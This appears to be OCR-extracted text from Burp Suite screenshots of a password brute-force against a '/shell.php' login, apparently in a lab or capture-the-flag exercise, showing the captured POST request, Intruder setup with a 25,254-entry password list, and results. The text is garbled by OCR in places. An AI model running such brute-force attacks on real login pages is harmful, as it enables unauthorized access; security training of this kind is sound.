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Raw | Params | Headers | Hex

0ST /shell.php HTTP/1.1

{ost: 114.67.246.176:16774

‘ontent-Length: 10

>ragma: no-cache

“ache-Control: no-cache
Jpgrade-Insecure-Requests: 1

Jser—-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S
Jrigin: http://114.67.246.176:16774

Send to Spider

Do an active scan

Send to Intruder
Send to Repeater
Send to Sequencer
Send to Comparer
Send to Decoder
Request in browser
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like Gecko) Chrome/91.0.4472.114 Safari/537.36

“ontent-Type: application/x-www-form-urlencoded
\ccept: text/html,application/xhtml+xml,applicati
leferer: http://114.67.246.176:16774/shell.php
\ccept-Encoding: gzip, deflate

\ccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=
“ookie: PHPSESSID=1300ltrca7mr4k@714vafgh022; Hm_
_9id=GA1.1.1849681017.1628569450; Hm_lpvt_clbo44f
“onnection: close

»ass=admin

Engagement tools
Change request method
Change body encoding
Copy URL

Copy as curl command
Copy to file

Paste from file

Save item

Don't intercept requests
Do intercept

age/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

1628569450; _ga=GA1l.1.1739708188.1628569450;

Convert selection
URL-encode as you type

Cut

Copy

Paste

Message editor help
Proxy interception help
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Burp Intruder Repeater Window Help

Burp Suite Professional v1.7.37 - Temporary Project - licensed to surferxyz

[Target T Proxy TSpider TScanner l Intruder depeater TSequencer TDecoder TComparer TExtender TProject options TUser options TAIerts ]

1x[2x]..

[Targe( ]I Positions I I’ayloads TOptions ]

Payload Positions

—

positions - see help for full details.

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload

Attack type: [Sniper

POST /shell.php HTTP/1.1

Host: 114.67.246.176:16774
Content-Length: 10

Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://114.67.246.176:16774

Safari/537.36
Accept:
=0.9

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://114.67.246.176:16774/shell.php

Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrol

text/html,application/xhtml+xml,application/xml;q=0.9, image/avif, image/webp, image/apng,*/%;

Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=1300ltrca7mr4k@714vafgh022; Hm_lvt_c1b044f909411
_9id=GA1.1.1849681017.1628569450; Hm_lpvt_c1b044f909411ac42130
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Burp Intruder Repeater Window Help

[Target I Proxy ISpider IScanner [Intruder I Repeater TSequencer T Decoder TComparer T Extender T Project options T User options TAIerts ]

1 x |2k ...

[Target I Positions ]Payloads Tk)ptions ]

Payload Sets \ _

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are
available for each payload set, and each payload type can be customized in different ways.

I»

Payload set: [1 4'] Payload count: 25,254

Payload type: [Simple list 4'] Request count: 25,254
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Payload Options [Simple list] i start attack FHAKE

This payload type lets you configure a simple list of strings that are used as payloads.
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Add Enter a new item

[Add from list ... m |

@ Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

Add | [Enabled  |Rule
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[ NON ] Intruder attack 2
Attack Save Columns

j Results TTarget T Positions T Payloads TOptions ]

| Filter: Showing all items |
| —

Request | Payload | Status |Error | Timeout | Length _ v|[comment

173 hack 200 d LJ [1203 A
9333 hack 200 O @) “ D
0 200 g g 1200

3 admin888 200 @) g 1200

2 admin12 200 @) g 1200

1 »;admin 200 g g 1200

21 888888 200 @) g 1200

20 aaaAAA111 200 =) g 1200

18 test2 200 g g 1200

19 password 200 d = 1200

17 test123 200 =) g 1200

14 roots 200 4 O 1200

16 testl 200 g O 1200

15 test 200 ) 0 1200 L
13 root 200 @) g 1200 |v
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J Request T Response ]

J Raw T Params T Headers T Hex ]

POST /shell.php HTTP/1.1 A
Host: 114.67.246.176:16774

Content-Length: 9

Cache-Control: max—age=0

Upgrade-Insecure-Requests: 1

Origin: http://114.67.246.176:16774

Content-Type: application/x-www—form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114

Safari/537.36 \
Accept: v

? + > | | Type a search term 0 matches
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